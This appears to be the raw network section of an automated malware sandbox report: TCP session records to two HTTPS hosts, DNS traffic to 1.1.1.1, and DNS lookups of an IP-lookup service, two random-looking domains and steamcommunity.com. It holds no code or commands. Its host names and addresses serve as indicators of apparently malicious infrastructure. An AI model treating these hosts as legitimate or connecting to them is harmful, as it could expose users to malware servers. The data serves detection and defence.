Apr 23, 2024 22:17:15.759099960 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.759118080 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.759167910 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.759180069 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.759203911 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.759219885 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.761349916 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.761368990 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.761420965 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.761432886 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.761459112 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.761477947 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.763767004 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.763786077 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.763873100 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.763885021 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.765136003 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.766880035 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.766899109 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.766949892 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.766962051 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.766987085 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.767004013 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.769233942 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.769252062 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.769292116 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.769304037 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.769330978 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.769346952 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.771610022 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.771636009 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.771717072 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.771728992 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.772852898 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.774497032 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.774518013 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.774585009 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.774597883 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.774658918 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.777101040 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.777120113 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.777168989 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.777180910 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.777205944 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.777223110 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.779515982 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.779535055 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.779608011 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.779620886 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.779668093 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.782382965 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.782401085 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.782432079 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.782438040 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.782454967 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.782478094 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.785326958 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.785347939 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.785398960 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.785404921 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.785495996 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.786997080 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.787015915 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.787066936 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.787071943 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.787103891 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.787122965 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.789994955 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.790014029 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.790060043 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.790066004 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.790081978 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.790118933 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.792346954 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.792366028 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.792413950 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.792421103 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.792434931 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.792458057 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.795064926 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.795084953 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.796956062 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.797015905 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.797023058 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.797050953 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.797102928 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.799510002 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.799530029 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.799587011 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.799593925 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.799634933 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.801517010 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.801538944 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.801590919 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.801599026 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.801609993 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.801630020 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.804141045 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.804162979 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.804230928 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.804239988 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.805505037 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.806107998 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.806129932 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.806202888 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.806216955 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.808756113 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.808785915 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.808830976 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.808845997 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.808872938 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.808890104 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.810410023 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.810431004 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.810482979 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.810498953 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.810522079 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.810542107 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.813410997 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.813431025 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.813477993 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.813491106 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.813520908 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.813539982 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.815459013 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.815479994 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.815572977 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.815584898 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.817519903 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.817532063 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.817549944 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.817605019 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.817615986 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.817708015 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.819562912 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.819586039 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.819644928 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.819658041 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.819684982 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.819722891 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.822308064 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.822325945 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.822364092 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.822375059 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.822401047 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.822417974 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.824995041 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.825015068 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.825078964 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.825093031 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.825118065 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.825134039 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.826484919 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.826503992 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.826548100 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.826560020 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.826585054 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.828242064 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.828896046 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.828915119 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.828959942 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.828972101 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.828995943 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.829013109 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.829138994 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.830418110 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.830436945 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.830486059 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.830498934 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.830523968 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.830966949 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.833372116 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.833390951 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.833422899 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.833435059 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.833472013 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.833487034 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.835165977 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.835186005 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.835216999 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.835227966 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.835253954 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.835269928 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.837018013 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.837058067 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.837089062 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.837100029 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.837121964 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.837160110 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.839029074 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.839071989 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.839122057 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.839133978 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.839163065 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.839176893 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.841351986 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.841377974 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.841407061 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.841418028 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.841444016 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.841460943 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.842183113 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.842228889 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.842240095 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.842278004 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.842293978 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.842348099 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.842885971 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.842915058 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.977008104 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.977032900 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.977137089 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.977683067 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.977694988 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:16.410410881 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:16.410476923 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:16.411022902 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:16.411035061 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:16.421536922 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:16.421551943 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:16.421659946 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:16.421670914 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:17.202223063 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:17.202317953 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:17.202405930 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:17.207981110 CEST	49751	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:17.207998991 CEST	443	49751	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:39.407337904 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:39.407368898 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:39.407454967 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:39.544804096 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:39.544827938 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:39.769750118 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:39.769823074 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:39.778661013 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:39.778675079 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:39.779609919 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:39.779670954 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:39.781474113 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:39.824155092 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:40.338706017 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:40.338826895 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:40.338860989 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:40.338908911 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:40.338916063 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:40.338999987 CEST	443	49752	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:40.339015961 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:40.339060068 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:40.339832067 CEST	49752	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:40.339853048 CEST	443	49752	172.67.139.220	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 22:16:55.114121914 CEST	56652	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:16:55.222652912 CEST	53	56652	1.1.1.1	192.168.2.4
Apr 23, 2024 22:16:57.987401009 CEST	65480	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:16:57.990058899 CEST	56882	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:16:58.980778933 CEST	56882	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:16:58.980814934 CEST	65480	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:16:59.980645895 CEST	56882	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:16:59.980681896 CEST	65480	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:17:00.327461004 CEST	53	65480	1.1.1.1	192.168.2.4
Apr 23, 2024 22:17:00.327521086 CEST	53	65480	1.1.1.1	192.168.2.4
Apr 23, 2024 22:17:00.327578068 CEST	53	65480	1.1.1.1	192.168.2.4
Apr 23, 2024 22:17:01.980979919 CEST	56882	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:17:02.029088974 CEST	53	56882	1.1.1.1	192.168.2.4
Apr 23, 2024 22:17:02.029129982 CEST	53	56882	1.1.1.1	192.168.2.4
Apr 23, 2024 22:17:02.029162884 CEST	53	56882	1.1.1.1	192.168.2.4
Apr 23, 2024 22:17:02.086136103 CEST	53	56882	1.1.1.1	192.168.2.4
Apr 23, 2024 22:17:02.890172958 CEST	64232	53	192.168.2.4	1.1.1.1
Apr 23, 2024 22:17:02.995758057 CEST	53	64232	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2024 22:16:55.114121914 CEST	192.168.2.4	1.1.1.1	0x4b19	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:16:57.987401009 CEST	192.168.2.4	1.1.1.1	0x6e34	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:16:57.990058899 CEST	192.168.2.4	1.1.1.1	0x83d1	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:16:58.980778933 CEST	192.168.2.4	1.1.1.1	0x83d1	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:16:58.980814934 CEST	192.168.2.4	1.1.1.1	0x6e34	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:16:59.980645895 CEST	192.168.2.4	1.1.1.1	0x83d1	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:16:59.980681896 CEST	192.168.2.4	1.1.1.1	0x6e34	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:01.980979919 CEST	192.168.2.4	1.1.1.1	0x83d1	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.890172958 CEST	192.168.2.4	1.1.1.1	0x3842	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 23, 2024 22:16:55.222652912 CEST	1.1.1.1	192.168.2.4	0x4b19	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:16:55.222652912 CEST	1.1.1.1	192.168.2.4	0x4b19	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.228.55.117	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	189.181.37.206	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	37.255.238.137	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	201.236.158.115	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327461004 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.228.55.117	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	189.181.37.206	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	37.255.238.137	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	201.236.158.115	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327521086 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.228.55.117	A (IP address)	IN (0x0001)	false
